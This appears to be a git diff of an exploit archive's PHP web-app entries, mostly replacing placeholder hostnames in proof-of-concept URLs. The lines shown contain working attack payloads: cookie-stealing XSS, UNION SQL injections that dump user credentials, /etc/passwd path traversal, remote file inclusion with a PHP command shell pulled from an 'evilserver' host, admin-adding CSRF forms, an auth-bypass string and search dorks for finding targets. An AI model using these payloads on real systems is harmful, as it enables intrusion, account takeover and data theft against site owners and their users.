+[L!v3 D3m0]: http://www.site.com/detail.php?prod_detail="><script>alert(document.cookie)</script> diff --git a/platforms/php/webapps/17076.txt b/platforms/php/webapps/17076.txt index 77b3c0598..538e32d1c 100755 --- a/platforms/php/webapps/17076.txt +++ b/platforms/php/webapps/17076.txt @@ -28,7 +28,7 @@ Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a v This vulnerability affects /yacomas/asistente/index.php. -http://www.server/yacomas/asistente/index.php?opc=1 +http://www.site.com/yacomas/asistente/index.php?opc=1 --URL encoded POST input S_apellidos was set to " onmouseover=prompt(11111111111) bad=" @@ -60,7 +60,7 @@ s_org --= Attack XSS details No. 2 =-- =============================== -http://www.server/yacomas/admin/index.php +http://www.site.com/yacomas/admin/index.php --details: can you inyect this in the HTTP headers whit this data in the Content-Length: header @@ -76,7 +76,7 @@ S_login=%27%22%3E%3E%3Cmarquee%3Ehacked+by+profesorx%3C%2Fmarquee%3E&S_passwd=%2 --= Attack XSS remote code execution No. 2 =-- ========================================== -http://www.server/yacomas/admin/index.php +http://www.site.com/yacomas/admin/index.php --details: can you inyect this in the HTTP headers whit this data in the Content-Length: header @@ -97,9 +97,9 @@ The web server is configured to display the list of files contained in this dire A user can view a list of all files from this directory possibly exposing sensitive information. -http://www.server/yacomas/images/ +http://www.site.com/yacomas/images/ -http://www.server/yacomas/images/buttons/ +http://www.site.com/yacomas/images/buttons/ @@ -121,11 +121,11 @@ This login page doesn't have any protection against password-guessing attacks (b --Show sensive Files--- ===================================== -http://www.server/yacomas/admin/error_log +http://www.site.com/yacomas/admin/error_log -http://www.server/yacomas/asistente/error_log +http://www.site.com/yacomas/asistente/error_log -http://www.server/yacomas/ponente/error_log +http://www.site.com/yacomas/ponente/error_log this link can contain data from your sql like the path, username, databases, path names and partial SQL code and some PHP data important for hackers to know the system like Functions, names and file names. diff --git a/platforms/php/webapps/17079.txt b/platforms/php/webapps/17079.txt index 9bc1d9acf..052a985cd 100755 --- a/platforms/php/webapps/17079.txt +++ b/platforms/php/webapps/17079.txt @@ -31,7 +31,7 @@ http://127.0.0.1/products/page.php?id=-10+UnIoN+SeleCt+1,2,3,4,5,6,7,8,9,10,11-- [~] Demo : -http://server/products/page.php?id=-10+UnIoN+SeleCt+1,2,3,4,5,6,7,8,9,10,11-- +http://site.com/products/page.php?id=-10+UnIoN+SeleCt+1,2,3,4,5,6,7,8,9,10,11-- [~]######################################### ThankS To ... diff --git a/platforms/php/webapps/17091.html b/platforms/php/webapps/17091.html index d6411d028..51b6a27a7 100755 --- a/platforms/php/webapps/17091.html +++ b/platforms/php/webapps/17091.html @@ -25,4 +25,4 @@ E-Store 1.0 XSRF Vulnerability (Add Admin) - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/17092.html b/platforms/php/webapps/17092.html index 302fa6b46..2c7b723d9 100755 --- a/platforms/php/webapps/17092.html +++ b/platforms/php/webapps/17092.html @@ -25,4 +25,4 @@ News 1.0 XSRF Vulnerability (Add Admin) - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/17093.html b/platforms/php/webapps/17093.html index d58532393..3ed7a361d 100755 --- a/platforms/php/webapps/17093.html +++ b/platforms/php/webapps/17093.html @@ -25,4 +25,4 @@ Movies Library 2.0 XSRF Vulnerability (Add Admin) - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/17094.html b/platforms/php/webapps/17094.html index a04171b07..b93720146 100755 --- a/platforms/php/webapps/17094.html +++ b/platforms/php/webapps/17094.html @@ -25,4 +25,4 @@ Web Links 1.0 XSRF Vulnerability (Add Admin) - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/17095.html b/platforms/php/webapps/17095.html index 631b1cdc7..4fb952b49 100755 --- a/platforms/php/webapps/17095.html +++ b/platforms/php/webapps/17095.html @@ -25,4 +25,4 @@ Audio & Video Library 2.7.0 XSRF Vulnerability (Add Admin) - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/17096.html b/platforms/php/webapps/17096.html index 8927d7d3a..c8fa3e026 100755 --- a/platforms/php/webapps/17096.html +++ b/platforms/php/webapps/17096.html @@ -25,4 +25,4 @@ Super Multimedia Library 2.5.0 XSRF Vulnerability (Add Admin) - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/17101.txt b/platforms/php/webapps/17101.txt index f1469da8c..cb5491cff 100755 --- a/platforms/php/webapps/17101.txt +++ b/platforms/php/webapps/17101.txt @@ -1,4 +1,4 @@ --=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- / _____ _ _ \ \ \_ \ | ___| |__ / / / /\/ |/ __| '_ \ \ diff --git a/platforms/php/webapps/17102.txt b/platforms/php/webapps/17102.txt index a1e3feada..3a7ce4c65 100755 --- a/platforms/php/webapps/17102.txt +++ b/platforms/php/webapps/17102.txt @@ -24,7 +24,7 @@ N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco. ---------------------------------------------------------------------------------------- #Proof of Concept -www.server/anzeigenmarkt2011/index.php?d=list&q='+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 +www.site.com/anzeigenmarkt2011/index.php?d=list&q='+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44, 45,46,47,48,49,50,51,52,53,concat(id,0x3a,pass,0x3a,email),55,56,57,58,59,6+from+markt_u ser--+&kat=10 \ No newline at end of file diff --git a/platforms/php/webapps/17107.txt b/platforms/php/webapps/17107.txt index 51ff5d6c8..f0157b712 100755 --- a/platforms/php/webapps/17107.txt +++ b/platforms/php/webapps/17107.txt @@ -14,7 +14,7 @@ Vulnerability: [#] http://patch/image.php?size_id=-1+union+select+1,[sqli],3,4,5,6,7,8,9,10,11 ~ [#] eXample -http://www.server/ad-manager/image.php?size_id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11 +http://www.site.com/ad-manager/image.php?size_id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11 #################################################################### diff --git a/platforms/php/webapps/1711.txt b/platforms/php/webapps/1711.txt index 66d8faf01..07a94feee 100755 --- a/platforms/php/webapps/1711.txt +++ b/platforms/php/webapps/1711.txt @@ -6,6 +6,6 @@ in movie_cls.php usage: -# http://www.server/[path]/movie_cls.php?full_path=http://www.server/x.txt?&cmd=uname -a +# http://www.site.com/[path]/movie_cls.php?full_path=http://www.site.com/x.txt?&cmd=uname -a # milw0rm.com [2006-04-23] diff --git a/platforms/php/webapps/17125.txt b/platforms/php/webapps/17125.txt index 662976273..a6995870e 100755 --- a/platforms/php/webapps/17125.txt +++ b/platforms/php/webapps/17125.txt @@ -28,11 +28,11 @@ # # [+][php] # -# [*]http://server/product.php?sid=17' -# [*]http://server/product.php?sid=[SQLI] +# [*]http://site.com/product.php?sid=17' +# [*]http://site.com/product.php?sid=[SQLI] # -# [*]http://server/detail.php?id=7' -# [*]http://server/detail.php?id=[SQLI] +# [*]http://site.com/detail.php?id=7' +# [*]http://site.com/detail.php?id=[SQLI] # # find any file like .php?id or sid whatever , mostly all are vul..... to sqli.! # diff --git a/platforms/php/webapps/17146.txt b/platforms/php/webapps/17146.txt index cbcca1d5e..fec89efe6 100755 --- a/platforms/php/webapps/17146.txt +++ b/platforms/php/webapps/17146.txt @@ -21,13 +21,13 @@ [*] Err0r C0N50L3: -http://www.server/index.php?req=update_payment&id= EV!L INJECT!ON +http://www.site.com/index.php?req=update_payment&id= EV!L INJECT!ON [*] prove of concept = - http://www.server/index.php?req=update_payment&id=-4410+union+all+select+1,2,3,@@version,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44-- + http://www.site.com/index.php?req=update_payment&id=-4410+union+all+select+1,2,3,@@version,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44-- @@ -53,4 +53,4 @@ Already Tested on Win Xp [~](>D!R 4ll 0R D!E<) #; # [~]--------------------------------------------------------------------------------------------- - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/17173.txt b/platforms/php/webapps/17173.txt index fca651045..833d65837 100755 --- a/platforms/php/webapps/17173.txt +++ b/platforms/php/webapps/17173.txt @@ -39,4 +39,4 @@ # Sn!pEr.S!te,indoushka,Knockout,ZoRlu,AnT!-Tr0J4n,eXeSoul, =========================================================================== # DisCovered By XroGuE !!! - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/17178.txt b/platforms/php/webapps/17178.txt index df0f9442c..9b301875d 100755 --- a/platforms/php/webapps/17178.txt +++ b/platforms/php/webapps/17178.txt @@ -15,15 +15,15 @@ Choose any site that comes up when you enter the dork intext:"Powered by Blue Ha *SQL injection Vulnerability* -# [+]http://server/video.php?id_att='111 -# [+]http://server/video.php?id_att=[SQLI] -# [+]http://server/mappa.php?id_att='2121 -# [+]http://server/mappa.php?id_att=[SQLI] -# [+]http://server/elenco_attivita.php?id_cat='101 -# [+]http://server/elenco_attivita.php?id_cat=[SQLI] -# [+]http://server/prodotti.php?id='6 -# [+]http://server/prodotti.php?id=[SQLI] -# [+]http://server/prodotti.php?id=-6+union+select+1,concat(username,0x3a,password)+from+utenti +# [+]http://site.com/video.php?id_att='111 +# [+]http://site.com/video.php?id_att=[SQLI] +# [+]http://site.com/mappa.php?id_att='2121 +# [+]http://site.com/mappa.php?id_att=[SQLI] +# [+]http://site.com/elenco_attivita.php?id_cat='101 +# [+]http://site.com/elenco_attivita.php?id_cat=[SQLI] +# [+]http://site.com/prodotti.php?id='6 +# [+]http://site.com/prodotti.php?id=[SQLI] +# [+]http://site.com/prodotti.php?id=-6+union+select+1,concat(username,0x3a,password)+from+utenti diff --git a/platforms/php/webapps/17179.txt b/platforms/php/webapps/17179.txt index a21a2f80e..f86871d05 100755 --- a/platforms/php/webapps/17179.txt +++ b/platforms/php/webapps/17179.txt @@ -16,18 +16,18 @@ Choose any site that comes up when you enter the dork intext:"Design by Bedder" -# [+]True : http://server/teams.php?id=1 and 1=1-- -# [+]False: http://server/teams.php?id=1 and 1=2-- -# [+]eViL : http://server/teams.php?id=[SQLi] +# [+]True : http://site.com/teams.php?id=1 and 1=1-- +# [+]False: http://site.com/teams.php?id=1 and 1=2-- +# [+]eViL : http://site.com/teams.php?id=[SQLi] -# [+]True : http://server/activiteiten.php?id=91 and 1=1-- -# [+]False: http://server/activiteiten.php?id=91 and 1=2-- -# [+]eViL : http://server/activiteiten.php?id=[SQLi] +# [+]True : http://site.com/activiteiten.php?id=91 and 1=1-- +# [+]False: http://site.com/activiteiten.php?id=91 and 1=2-- +# [+]eViL : http://site.com/activiteiten.php?id=[SQLi] -# [+]Cms Login Page is at : http://server/cms/index.php +# [+]Cms Login Page is at : http://site.com/cms/index.php # [+]evIL: teams.php?id=-1+union+select+1,2,concat(autorisatie_gebruikersnaam,0x3a,autorisatie_wachtwoord)+from+autorisatie diff --git a/platforms/php/webapps/17180.txt b/platforms/php/webapps/17180.txt index 5feeecee6..b999285f4 100755 --- a/platforms/php/webapps/17180.txt +++ b/platforms/php/webapps/17180.txt @@ -21,4 +21,4 @@ ###################################### TNX All ###################################### - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/17183.txt b/platforms/php/webapps/17183.txt index 19ae155cd..4be9b9b3c 100755 --- a/platforms/php/webapps/17183.txt +++ b/platforms/php/webapps/17183.txt @@ -1,7 +1,7 @@ # Exploit Title: osPHPSite SQL Injection Vulnerability # Author : vir0e5 # Date : 1-12-2011 -# Vendor : http://www.osphpserver +# Vendor : http://www.osphpsite.com # Software Link: http://sourceforge.net/projects/osphpsite # Version: ALL VERSION diff --git a/platforms/php/webapps/17197.txt b/platforms/php/webapps/17197.txt index 42426b5eb..718063bf2 100755 --- a/platforms/php/webapps/17197.txt +++ b/platforms/php/webapps/17197.txt @@ -10,11 +10,11 @@ Vunerabilities # Homepage: http://nonamemt.us # Proof of Concept: -http://server/escort_agency/banner.php?categoryID=-2'+union+select+1,version(),3,4,5,6,7--+ -http://server/escort_agency/escort-profile.php?modelid=13'[Blind-SQL] -http://server/escort_agency/write_review.php?modelid=13'[SQL] -http://server/escort_agency/booking-form.php?modelid=13'[SQL] -http://server/escort_agency/gallery_escorts.php?gallery_id=13'[SQL] +http://site.com/escort_agency/banner.php?categoryID=-2'+union+select+1,version(),3,4,5,6,7--+ +http://site.com/escort_agency/escort-profile.php?modelid=13'[Blind-SQL] +http://site.com/escort_agency/write_review.php?modelid=13'[SQL] +http://site.com/escort_agency/booking-form.php?modelid=13'[SQL] +http://site.com/escort_agency/gallery_escorts.php?gallery_id=13'[SQL] # Greetings to: Team-Internet, 4004-security-project.com, bursali, Easy Laster, Dr. Sp!c, diff --git a/platforms/php/webapps/17206.txt b/platforms/php/webapps/17206.txt index 704c2d8fb..2020eb963 100755 --- a/platforms/php/webapps/17206.txt +++ b/platforms/php/webapps/17206.txt @@ -14,14 +14,14 @@ Choose any site that comes up when you enter the dork intext:"intext:realweb.de *SQL injection Vulnerability* -# [+]http://server/default.php?id='125 -# [+]http://server/default.php?id=[SQLI] -# [+]http://server/default.php?content='2485 -# [+]http://server/default.php?content=[SQLI] -# [+]http://server/default.php?portalID='68 -# [+]http://server/default.php?portalID=[SQLI] -# [+]http://server/default.php?&id='121 -# [+]http://server/default.php?&id=[SQLI] +# [+]http://site.com/default.php?id='125 +# [+]http://site.com/default.php?id=[SQLI] +# [+]http://site.com/default.php?content='2485 +# [+]http://site.com/default.php?content=[SQLI] +# [+]http://site.com/default.php?portalID='68 +# [+]http://site.com/default.php?portalID=[SQLI] +# [+]http://site.com/default.php?&id='121 +# [+]http://site.com/default.php?&id=[SQLI] ____________________________________________________________________ ____________________________________________________________________ diff --git a/platforms/php/webapps/17214.php b/platforms/php/webapps/17214.php index bd55e9359..60af8649d 100755 --- a/platforms/php/webapps/17214.php +++ b/platforms/php/webapps/17214.php @@ -4,7 +4,7 @@ if(!$argv[1]) die(" Usage : php exploit.php [site] -Example : php exploit.php http://server/wp/ +Example : php exploit.php http://site.com/wp/ "); print_r(" diff --git a/platforms/php/webapps/17216.txt b/platforms/php/webapps/17216.txt index f18a8e832..ffc19a0c9 100755 --- a/platforms/php/webapps/17216.txt +++ b/platforms/php/webapps/17216.txt @@ -41,7 +41,7 @@ function fireForms() </script> <H2>Quick CMS v3.0 Cross Site Request Forgery (Add Admin User)</H2> -<form method="POST" name="form0" action="http://server/admin.php?p=users-form&iUser="> +<form method="POST" name="form0" action="http://site.com/admin.php?p=users-form&iUser="> <input type="hidden" name="iUser" value=""/> <input type="hidden" name="sLoginOld" value=""/> <input type="hidden" name="sOptionList" value="save and go to the list »"/> @@ -94,7 +94,7 @@ function fireForms() </script> <H2>Quick CMS v3.0 Cross Site Request Forgery (Edit Existing Admin details)</H2> -<form method="POST" name="form0" action="http://server/admin.php?p=admins-form"> +<form method="POST" name="form0" action="http://site.com/admin.php?p=admins-form"> <input type="hidden" name="iAdmin" value="1"/> <input type="hidden" name="iLastLogin" value="0"/> <input type="hidden" name="iBeforeLastLogin" value="0"/> diff --git a/platforms/php/webapps/17265.txt b/platforms/php/webapps/17265.txt index ae85e2946..db6f59e00 100755 --- a/platforms/php/webapps/17265.txt +++ b/platforms/php/webapps/17265.txt @@ -14,4 +14,4 @@ All YOGYACARDERLINK CREW...!!! I Love You... :-) [x] Bugs Found By: g3mbeLz_YCL. -We \ No newline at end of file +We \ No newline at end of file diff --git a/platforms/php/webapps/17288.txt b/platforms/php/webapps/17288.txt index 508a44b60..0b3e8354e 100755 --- a/platforms/php/webapps/17288.txt +++ b/platforms/php/webapps/17288.txt @@ -12,8 +12,8 @@ # | select 1,2,3,4,5,6,concat(username,0x3a,password),8,9 from jos_users--%20 ################################################## # | Demo: -# | http://server/index.php/?option=com_question&catID=21' and+1=0 union all select # | 1,2,3,4,5,6,concat(username,0x3a,password),8,9 from jos_users--%20 +# | http://site.com/index.php/?option=com_question&catID=21' and+1=0 union all select # | 1,2,3,4,5,6,concat(username,0x3a,password),8,9 from jos_users--%20 ################################################## # | Greetz : # | Dr.KAsBeR & DaShEr & MaFiA & WeeD -################################################## \ No newline at end of file +################################################## \ No newline at end of file diff --git a/platforms/php/webapps/17289.txt b/platforms/php/webapps/17289.txt index f3a292b15..aaf08cd11 100755 --- a/platforms/php/webapps/17289.txt +++ b/platforms/php/webapps/17289.txt @@ -14,4 +14,4 @@ Note: -sessid had to be fresh >>published by -SmoG- on SceneGround.info<< -gretz to my mentor Therion, c0x and other sg-members! \ No newline at end of file +gretz to my mentor Therion, c0x and other sg-members! \ No newline at end of file diff --git a/platforms/php/webapps/17292.txt b/platforms/php/webapps/17292.txt index 7015acb8d..04e0cf420 100755 --- a/platforms/php/webapps/17292.txt +++ b/platforms/php/webapps/17292.txt @@ -17,9 +17,9 @@ Fix: demo -http://server/view/lang/index.php?page=../../../../../../../../../../../../../../../../../../../../etc/passwd +http://site.com/view/lang/index.php?page=../../../../../../../../../../../../../../../../../../../../etc/passwd -http://server/index.php?page=../../../../../../../../../../../../../../../../../../../../etc/passwd +http://site.com/index.php?page=../../../../../../../../../../../../../../../../../../../../etc/passwd -http://server/ufp/view/lang/index.php?page=../../../../../../../../../../../../../../../../../../../../etc/passwd - \ No newline at end of file +http://site.com/ufp/view/lang/index.php?page=../../../../../../../../../../../../../../../../../../../../etc/passwd + \ No newline at end of file diff --git a/platforms/php/webapps/17303.txt b/platforms/php/webapps/17303.txt index 2a0fe20ea..c3318b4e2 100755 --- a/platforms/php/webapps/17303.txt +++ b/platforms/php/webapps/17303.txt @@ -27,8 +27,8 @@ Exploit : # You will see the path of your shell .. -# Example http://www.server/public-relations/testimonials -# Example http://www.server/index.php?/component/option,com_jdownloads/Itemid,70/task,view.upload/ +# Example http://www.site.com/public-relations/testimonials +# Example http://www.site.com/index.php?/component/option,com_jdownloads/Itemid,70/task,view.upload/ (+)Gr33ts to : Only my God [ Allah ] .. ____________________________________________________________________ diff --git a/platforms/php/webapps/17311.txt b/platforms/php/webapps/17311.txt index f897a9e73..321e689f7 100755 --- a/platforms/php/webapps/17311.txt +++ b/platforms/php/webapps/17311.txt @@ -26,4 +26,4 @@ http://localhost/myschool/show_page.php?Page_ID=[sql] http://localhost/myschool/show_page.php?Page_ID=&table=users' # Link Control Panel : http://localhost/myschool/login.php -################################################## \ No newline at end of file +################################################## \ No newline at end of file diff --git a/platforms/php/webapps/17316.txt b/platforms/php/webapps/17316.txt index 7f7b65986..5f4d71efc 100755 --- a/platforms/php/webapps/17316.txt +++ b/platforms/php/webapps/17316.txt @@ -14,7 +14,7 @@ http://[sitename]/[pathToApplication]/photo.php?id=%InjectHere% Sample :- -http://server/work/photo.php?id=%injectHere%19 +http://site.com/work/photo.php?id=%injectHere%19 -------------------------------------------------------------------------------- ================================================================================ diff --git a/platforms/php/webapps/1732.pl b/platforms/php/webapps/1732.pl index d7a846e59..d0fd7bc59 100755 --- a/platforms/php/webapps/1732.pl +++ b/platforms/php/webapps/1732.pl @@ -6,8 +6,8 @@ # All rights reserved. # # never ctrl+c again. -# cijfer$ http://server/dir -# host changed to 'http://server/dir' +# cijfer$ http://target.com/dir +# host changed to 'http://target.com/dir' # cijfer$ # # to set your PHP shell location: @@ -55,7 +55,7 @@ sub usage { print "Aardvark Topsites PHP <=4.2.2 Remote Command Execution Exploit\n"; print "usage: $0 -hpv\n\n"; - print " -h, --host\t\tfull address of target (ex. http://www.webserver/directory)\n"; + print " -h, --host\t\tfull address of target (ex. http://www.website.com/directory)\n"; print " -p, --proxy\t\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n"; print " -v, --verbose\t\tverbose mode (debug)\n\n"; exit; diff --git a/platforms/php/webapps/17336.txt b/platforms/php/webapps/17336.txt index 41aa8ed04..6284829d4 100755 --- a/platforms/php/webapps/17336.txt +++ b/platforms/php/webapps/17336.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/17341.txt b/platforms/php/webapps/17341.txt index e54d7b71d..ed1084d33 100755 --- a/platforms/php/webapps/17341.txt +++ b/platforms/php/webapps/17341.txt @@ -21,7 +21,7 @@ Joomla Component Joomnik Gallery SQL Injection Vulnerability [+] Dork:"com_joomnik" -[+] Demo: http://server/index.php?option=com_joomnik&album=6' +[+] Demo: http://site.com/index.php?option=com_joomnik&album=6' # Bug Fix Advice : Zararli Karakterler Filtrenmelidir. ############################################################# diff --git a/platforms/php/webapps/17346.php b/platforms/php/webapps/17346.php index 9fd485a41..a2a92d89e 100755 --- a/platforms/php/webapps/17346.php +++ b/platforms/php/webapps/17346.php @@ -81,7 +81,7 @@ if(count($argv) == 5) echo "| w-Agora Forum 4.2.1 Remote File Upload Exploit |\r\n"; echo "| Treasure Security |\r\n"; echo "| by Treasure Priyamal |\r\n"; - echo "| Usage: php exploit.php server /path/ user pass |\r\n"; + echo "| Usage: php exploit.php site.com /path/ user pass |\r\n"; echo "+---------------------------------------------------------------+\r\n"; echo "\n"; @@ -144,7 +144,7 @@ else echo "| Treasure Security |\r\n"; echo "| by Treasure Priyamal |\r\n"; echo "+---------------------------------------------------------------+\r\n"; - echo "| Usage: php exploit.php server /path/ user pass |\r\n"; + echo "| Usage: php exploit.php site.com /path/ user pass |\r\n"; echo "+---------------------------------------------------------------+\r\n"; echo "\n\n"; } diff --git a/platforms/php/webapps/17350.txt b/platforms/php/webapps/17350.txt index b6488afa1..71550a2e2 100755 --- a/platforms/php/webapps/17350.txt +++ b/platforms/php/webapps/17350.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/17395.txt b/platforms/php/webapps/17395.txt index eeac047b9..398687c46 100755 --- a/platforms/php/webapps/17395.txt +++ b/platforms/php/webapps/17395.txt @@ -54,20 +54,20 @@ PoC/Exploit: ~~~~~~~~~~ SQL injection vulnerability affects: -- http://server/path/index.php?cat_id=%27 +- http://site.com/path/index.php?cat_id=%27 -- http://server/path/view_product.php?product=%27 +- http://site.com/path/view_product.php?product=%27 -- http://server/path/view_cart.php?add=%27 +- http://site.com/path/view_cart.php?add=%27 XSS vulnerability affects: -- http://server/path/search.php +- http://site.com/path/search.php admin page: -- http://server/path/admin/login.php +- http://site.com/path/admin/login.php Dork: diff --git a/platforms/php/webapps/1740.pl b/platforms/php/webapps/1740.pl index 2ed43222a..b9adb283f 100755 --- a/platforms/php/webapps/1740.pl +++ b/platforms/php/webapps/1740.pl @@ -7,7 +7,7 @@ #Dork:inurl:"fclick.php?fid" # usage: # perl fc.pl <target> <cmd shell location> <cmd shell variable> -# perl fc.pl http://server/fclick/ http://server/cmd.gif cmd +# perl fc.pl http://target.com/fclick/ http://target.com/cmd.gif cmd # cmd shell example: <?system($cmd);?> # cmd shell variable: ($_GET[cmd]); @@ -63,7 +63,7 @@ sub usage() { head(); print " Usage: perl fc.pl <target> <cmd shell location> <cmd shell variable>\r\n\n"; - print " <Site> - Full path to Fastclick ex: http://www.server/fclick/ \r\n"; + print " <Site> - Full path to Fastclick ex: http://www.site.com/fclick/ \r\n"; print " <cmd shell> - Path to cmd Shell e.g http://evilserver/cmd.gif \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; diff --git a/platforms/php/webapps/17402.txt b/platforms/php/webapps/17402.txt index 138adb35a..f2ceaeac3 100755 --- a/platforms/php/webapps/17402.txt +++ b/platforms/php/webapps/17402.txt @@ -3,7 +3,7 @@ [+] Name : AMHSHOP 3.7.0 [+] Affected Version : v3.7.0 [+] Description : it's an arabic Shopping Script [Payable] -[+] Software : http://amhserver/37/ & http://www.metjar.com/ +[+] Software : http://amhserver.com/37/ & http://www.metjar.com/ [+] Tested on : (L):Vista & Windows Xp and Windows 7 [+] Dork : Powered by AMHSHOP 3.7.0 [+] Date : 14/06/2011 diff --git a/platforms/php/webapps/17412.txt b/platforms/php/webapps/17412.txt index 6bd3ba991..6020822d4 100755 --- a/platforms/php/webapps/17412.txt +++ b/platforms/php/webapps/17412.txt @@ -17,4 +17,4 @@ http://localhost/[PATH]/print.php?task=person&id=36 [SQL] ******************************************************************************** Ordu-yu Lojistik TIM // CoBRa_21 -******************************************************************************** \ No newline at end of file +******************************************************************************** \ No newline at end of file diff --git a/platforms/php/webapps/17423.txt b/platforms/php/webapps/17423.txt index e5e5d6d50..e40893a9b 100755 --- a/platforms/php/webapps/17423.txt +++ b/platforms/php/webapps/17423.txt @@ -10,6 +10,6 @@ User-Agent) # Tested on: WhatEver OS # CVE : 0-Day -http://server/?wptouch_view=normal&wptouch_redirect=.attacker-server +http://site.com/?wptouch_view=normal&wptouch_redirect=.attacker-site.com -# It would redirect to : http://server.attacker-server :) +# It would redirect to : http://site.com.attacker-site.com :) diff --git a/platforms/php/webapps/1744.pl b/platforms/php/webapps/1744.pl index 3a5e4dc76..03e378f71 100755 --- a/platforms/php/webapps/1744.pl +++ b/platforms/php/webapps/1744.pl @@ -7,7 +7,7 @@ #Dork:"powered by Albinator " # usage: # perl wb.pl <target> <cmd shell location> <cmd shell variable> -# perl wb.pl http://vulnerable.com/ http://server/cmd.gif cmd +# perl wb.pl http://vulnerable.com/ http://target.com/cmd.gif cmd # cmd shell example: <?system($cmd);?> # cmd shell variable: ($_GET[cmd]); @@ -64,7 +64,7 @@ sub usage() { head(); print " Usage: perl wb.pl <target> <cmd shell location> <cmd shell variable>\r\n\n"; - print " <Site> - Full path to Albinator ex: http://www.server/ \r\n"; + print " <Site> - Full path to Albinator ex: http://www.site.com/ \r\n"; print " <cmd shell> - Path to cmd Shell e.g http://evilserver/cmd.gif \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; diff --git a/platforms/php/webapps/17445.txt b/platforms/php/webapps/17445.txt index 7d1d83f7f..d76a9274e 100755 --- a/platforms/php/webapps/17445.txt +++ b/platforms/php/webapps/17445.txt @@ -30,7 +30,7 @@ Demo : -http://www.server/cmspages.php?id=-43+union+select 1,2,group_concat(FName,0x3a,password),4+from+admin-- +http://www.site.com/cmspages.php?id=-43+union+select 1,2,group_concat(FName,0x3a,password),4+from+admin-- ################################################################################################## Thanks to Allah SWT n Nabi Muhammad SAW diff --git a/platforms/php/webapps/17466.txt b/platforms/php/webapps/17466.txt index 580cf3998..3aeb35bf9 100755 --- a/platforms/php/webapps/17466.txt +++ b/platforms/php/webapps/17466.txt @@ -24,7 +24,7 @@ so that web visitors must be authorized before entering that sites secured areas *********************** (Auth ByPass) SQLi Vulnerability ********************************* -{DEMO} : server/php-member-login/admin/login.php +{DEMO} : site.com/php-member-login/admin/login.php EXPLOIT 1: Username: admin' or'1=1 password: admin' or'1=1 @@ -39,7 +39,7 @@ Persistent XSS Vulnerability ******************************** EXPLOIT 2: Persistent XSS Vulnerability in add member in admin panel - {Demo}: server/php-member-login/admin/add_member.php?msg= + {Demo}: site.com/php-member-login/admin/add_member.php?msg= ">><marquee><h1>$#4|)0\/\/</h1><marquee> Observe: A persistent cross-site scripting vulnerability in Ollance login diff --git a/platforms/php/webapps/1747.pl b/platforms/php/webapps/1747.pl index 0b5e7d849..150ab30cf 100755 --- a/platforms/php/webapps/1747.pl +++ b/platforms/php/webapps/1747.pl @@ -7,7 +7,7 @@ # dork: intext:"phpbb - auction" inurl:"auction" # usage: # perl wb1.pl <target> <cmd shell location> <cmd shell variable> -# perl wb1.pl http://vulnerable.com/ http://server/cmd.gif cmd +# perl wb1.pl http://vulnerable.com/ http://target.com/cmd.gif cmd # cmd shell example: <?system($cmd);?> # cmd shell variable: ($_GET[cmd]); @@ -64,7 +64,7 @@ sub usage() { head(); print " Usage: perl wb1.pl <target> <cmd shell location> <cmd shell variable>\r\n\n"; - print " <Site> - Full path to phpBB auction ex: http://www.server/ or http://www.server/phpbb/ \r\n"; + print " <Site> - Full path to phpBB auction ex: http://www.site.com/ or http://www.site.com/phpbb/ \r\n"; print " <cmd shell> - Path to cmd Shell e.g http://evilserver/cmd.gif \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; diff --git a/platforms/php/webapps/17495.txt b/platforms/php/webapps/17495.txt index 142c0c4ec..b8800c60a 100755 --- a/platforms/php/webapps/17495.txt +++ b/platforms/php/webapps/17495.txt @@ -1,4 +1,4 @@ -_________________________________________________________________________________________ + _________________________________________________________________________________________ | _ _ | | ||\\ || || || | \\ // | ____ ________ __________ | | || \\ || || || | |\\ //| | | \ | ______| |_______/ / | @@ -17,7 +17,7 @@ 